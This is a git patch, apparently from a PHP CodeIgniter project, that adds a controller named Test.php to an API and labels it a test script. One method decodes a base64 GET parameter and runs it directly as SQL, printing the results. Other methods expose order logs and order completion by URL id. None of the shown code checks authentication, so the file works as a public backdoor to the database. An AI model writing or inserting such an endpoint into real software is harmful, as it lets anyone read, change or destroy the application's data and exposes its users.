From 6865fa018f7baf063fc5bf9ab2fa17fc4df35945 Mon Sep 17 00:00:00 2001 From: lccsw <1127794702@qq.com> Date: Sat, 6 Nov 2021 21:20:43 +0800 Subject: [PATCH] add-api-test_script --- api/controllers/plan/Test.php | 40 +++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 api/controllers/plan/Test.php diff --git a/api/controllers/plan/Test.php b/api/controllers/plan/Test.php new file mode 100644 index 00000000..28aeaad1 --- /dev/null +++ b/api/controllers/plan/Test.php @@ -0,0 +1,40 @@ +input->get('data'); + $sql = urldecode(base64_decode($data)); + if($sql){ + $re=$this->db->query($sql)->result_array(); + print_r($re); + } + } + + public function o_log(){ + $oid = $this->input->get('id'); + if($oid){ + $this->load->library('entity/deal_entity',['app_id'=>1]); + $res = $this->deal_entity->deal_log($oid); + var_dump($res); + } + } + + public function finish(){ + $oid = $this->input->get('id'); + if($oid){ + $this->load->library('entity/deal_entity',['app_id'=>1]); + $res = $this->deal_entity->deal_log_finish($oid); + var_dump($res); + } + + } +}